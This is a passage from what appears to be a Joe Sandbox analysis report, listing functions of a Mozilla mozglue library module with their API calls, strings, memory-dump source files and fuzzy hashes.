Instruction Fuzzy Hash: 15316FB5A097059FD700CF14D884A9EBBF4FF99314F50482EE85A97741EB30E919CB92

Function 6C96FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?), ref: 6C96FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?), ref: 6C96FFF5
free.MOZGLUE(?,?,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?), ref: 6C97001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?), ref: 6C97002A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 2a3bbf0798061b2e6ef6e5d44688b21506bd449f37b286bf80502121ccd817a9
Instruction ID: eaafaa8658f108337d4162f5b65aef8459573c3b463276e6541622daaf06bafc
Opcode Fuzzy Hash: 2a3bbf0798061b2e6ef6e5d44688b21506bd449f37b286bf80502121ccd817a9
Instruction Fuzzy Hash: 2B2108B2B002159FD7189F799CD44AFB7BAEB953243250738E425D7BC0EA31DD1186E0

Function 6C94B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C94B4F5
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B502
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B542
free.MOZGLUE(?), ref: 6C94B578

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction ID: 430e4d399ab97e2758ed622ba103a8108f169e8d23c8b3dffa12972f1bfa19c8
Opcode Fuzzy Hash: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction Fuzzy Hash: 1211C038A08B45E7D7128F29C40476AF3B5FF96318F20970AE84952A02EBB0F5D48794

Function 6C973DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C93F20E,?), ref: 6C973DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C93F20E,00000000,?), ref: 6C973DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C973E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C973E0E

Part of subcall function 6C96CC00: GetCurrentProcess.KERNEL32(?,?,6C9331A7), ref: 6C96CC0D
Part of subcall function 6C96CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9331A7), ref: 6C96CC16

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction ID: 5dcc09e89f79356cfd51b081fc4d260e45f113639bc81fa2cb1d8569f3365af1
Opcode Fuzzy Hash: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction Fuzzy Hash: 95F012756002087BDB00AB54DC81DAB376DEF56628F140424FD0957741D636FD2586FB

Function 6C9820B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9820B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C96FBD1), ref: 6C9820C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C96FBD1), ref: 6C9820DA
free.MOZGLUE(00000000,?,6C96FBD1), ref: 6C9820F1

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ceed83a6c032548c1ecb4c73f01a00a137e11b0e4f963356a990b4704dc7281e
Instruction ID: f8702d3f9ccd805f007a6fcf6a9248709e53cd19a209c8822e0a29d933098b14
Opcode Fuzzy Hash: ceed83a6c032548c1ecb4c73f01a00a137e11b0e4f963356a990b4704dc7281e
Instruction Fuzzy Hash: 0CE0E575605A14ABC3209F25984854FB7F9EF96214B20062AF54AC3B00D775F54A86D9

Function 6C9885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9885D3

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C988725

Strings

map/set<T> too long, xrefs: 6C988720

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction ID: a6b499abe8690df89ee0867731c78648ccd437cc45a7bde22264642223788a7a
Opcode Fuzzy Hash: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction Fuzzy Hash: 765186B4602645CFC705CF18C084B56BBF1BF5A318F18CA8AD8595BB52C335E885CFA6

Function 6C93BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C93BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C93BE8F

Strings

0, xrefs: 6C93BE5B

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction ID: eb43aa76b030a285c851cdcde1526041a2b8856300b8205c60b1a1208fa67899
Opcode Fuzzy Hash: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction Fuzzy Hash: 9B41E271909B55CFC311CF38C481A9BB7F4EF9A348F009A1DF999A7651E730D9488B82

Function 6C973CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973D19
mozalloc_abort.MOZGLUE(?), ref: 6C973D6C

Strings

d, xrefs: 6C973D58

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction ID: bde5d0ad0f23ce39f494df7e0c348479364c8ee1fec9be4dcbcf68869896ef55
Opcode Fuzzy Hash: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction Fuzzy Hash: E5112732E08688E7DB109BB9C9144EEB779FF96318B448319DC4597702FB30E584C360

Function 6C944730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9444B2,6C9BE21C,6C9BF7F8), ref: 6C94473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C94474A

Strings

GetNtLoaderAPI, xrefs: 6C944744

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 23001a65d95fc95eadbd50f6153a97ef33f3a294d1e7a97cd9648942142cccbb
Instruction ID: 3765687aa06cdfd655eb1754c7daf407884bfb0a06fc90e7464e4015df650c0e
Opcode Fuzzy Hash: 23001a65d95fc95eadbd50f6153a97ef33f3a294d1e7a97cd9648942142cccbb
Instruction Fuzzy Hash: EC019279309354AFDF009F65888461A7BB9EB8B715B154069E906C7350DB74D802CFA5

Function 6C996DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C996E22
__Init_thread_footer.LIBCMT ref: 6C996E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C996E1D

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction ID: 931f72748fe9b930c0b885df100a646738681d58e96fdc8cc07338b506d82e26
Opcode Fuzzy Hash: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction Fuzzy Hash: 75F0B47D60D24AEBEB008BBCC850A937775576721CF280165CC0546F91D731E92ACAEB

Function 6C949E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C949EEF

Strings

NaN, xrefs: 6C949EC1
Infinity, xrefs: 6C949EB7

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f8dd424eeb593c87a5f7a7286240c2f82c162e2eecc87b06fe396b66a9bd895b
Instruction ID: 4324c3f2c7d57efc56373e6c7d38bc37584c108da0ff9cfbf2e89662903e4845
Opcode Fuzzy Hash: f8dd424eeb593c87a5f7a7286240c2f82c162e2eecc87b06fe396b66a9bd895b
Instruction Fuzzy Hash: 76F0497D608241EAEB008F6CE946B973375A7D731DF304A59C5081AB80E735E64ACB8A

Function 6C94BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C94BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C94BEF5

Strings

cryptbase.dll, xrefs: 6C94BEF0

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction ID: 9c6843b243cd0c66a7efb14594550b44c9556b2b9ec3c088f4c646e07ebe2831
Opcode Fuzzy Hash: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction Fuzzy Hash: 4BD0C731194508F6D7506AA48D49F1F37789755715F20C021F755549A1C7B1D450DFD4

Function 6C9350E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C,?,?,?,?,?), ref: 6C93510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C,?,?,?,?,?), ref: 6C935167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C935196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C), ref: 6C935234

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: ba07735fb69abb9669c4983ab35ef74239abbc8849490f8382f4c19f69164483
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: E691AE75505666CFCB14CF08C490A5ABBA6FF99318B28868CDC589B715D732FD82CBE0

Function 6C9708F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970918
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9709A6
EnterCriticalSection.KERNEL32(6C9BE7DC,?,00000000), ref: 6C9709F3
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970ACB

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e014169188706f0f37b9be1e0c765c1a3fba8cc496b5d0d6ada27da5cf280e84
Instruction ID: 333d034526032a2092b944541413d14b9abca9dd1f356076e708289d2206a6b3
Opcode Fuzzy Hash: e014169188706f0f37b9be1e0c765c1a3fba8cc496b5d0d6ada27da5cf280e84
Instruction Fuzzy Hash: FE515C36B07650DBEF189A29C49462733B9EBC2F24B34957AD86597FC0D732EC0186E4

Function 6C98B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B628

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C98B127,?,?,?,?,?,?,?,?), ref: 6C98B74D

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction ID: 2fcfd06d3e0be8a95e03f1e76178f6dba52d5e97c36590db57580a29b84da89b
Opcode Fuzzy Hash: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction Fuzzy Hash: 2451CB71A063168BEF14CF18C98066EB7B5FF85714F59892DD85AABB10DB31E804CBA1

Function 6C98DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C97FF2A), ref: 6C98DFFD

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C97FF2A), ref: 6C98E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C97FF2A), ref: 6C98E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C97FF2A), ref: 6C98E0FE

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 00415ff9590467d514bc8552f378d24e0878321413939d452f2934ebb070dc54
Instruction ID: b0f313c279c09cd5a5379f4e00dd67816b5770ad7f0ae3fa48757986aa099d15
Opcode Fuzzy Hash: 00415ff9590467d514bc8552f378d24e0878321413939d452f2934ebb070dc54
Instruction Fuzzy Hash: 6B41D4B970A206CFEB14CF68C8A076A73B6BB46308F244D39D516DB740E731E904CB92

Function 6C986E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C986EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C986EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C986F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986F5C

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction ID: 5d658adb7f9bd6a054d040df3a810e526cad90dbf0824fdf2abb280aadba6d1b
Opcode Fuzzy Hash: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction Fuzzy Hash: 0231F671A2160A8FDB04CF2CC981AAA73E9FF94304F50453DD41ACB661EF31E669C7A1

Function 6C99B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C940A4D), ref: 6C99B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C940A4D), ref: 6C99B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C940A4D), ref: 6C99B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C940A4D), ref: 6C99B67F

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction ID: 8acc8fb5a9dbbb84c646dcbb8c73ea7d3757ce5fc067766514465aa767f47405
Opcode Fuzzy Hash: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction Fuzzy Hash: A2310671A0021A8FDB20CF58C84466ABBF9FF81325F1A8529D80ADB311DB35F915CBE0

Function 6C96F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F668

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
